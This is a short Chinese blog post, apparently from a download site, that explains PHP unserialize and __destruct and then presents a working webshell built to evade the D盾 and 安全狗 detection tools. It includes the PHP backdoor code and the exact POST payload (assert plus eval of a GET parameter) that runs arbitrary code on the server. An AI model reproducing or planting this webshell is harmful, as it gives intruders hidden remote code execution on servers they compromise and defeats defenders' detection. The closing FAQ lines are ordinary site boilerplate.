PHP反序列化介绍
在PHP进行反序列化时,会将序列化中的变量传入类中,并且调用__destuct等魔法函数。巧妙应用可达到免杀D盾,过安全狗等WAF软件的效果。
TestCode1:
<?php
class A{
public $name = 'xxxx';
function __destruct(){
echo $this->name;
}
}
echo serialize(new A());
?>
输出:
xxxxO:1:"A":1:{s:4:"name";s:4:"xxxx";}
TestCode2:
<?php
class A{
public $name = 'xxxx';
function __destruct(){
echo $this->name;
}
}
unserialize('O:1:"A":1:{s:4:"name";s:9:"wogaosuni";}');
?>
输出:
wogaosuni
可以发现原来的变量已经被我们替换了。
利用反序列化写马绕过D盾等WAF
代码不做过多解释,啥子都能看明白
<?php
class A{
public $name;
public $male;
function __destruct(){
$a = $this->name;
$a($this->male);
}
}
unserialize($_POST['un']);
?>
POST传参传入
un=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:16:"eval($_GET["x"])";}
GET传参传入:
x=phpinfo();
效果
-
PHP反序列化免杀D盾 -
免杀D盾 -
免杀过安全狗
常见问题FAQ
- 【点击查看】免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 【点击查看】提示下载完但解压或打开不了?
- 【点击查看】开通终身至尊下载源码 “不完整” 或 “不能用” 怎么办?
- 【点击查看】开通终身会员能下载全站资源码?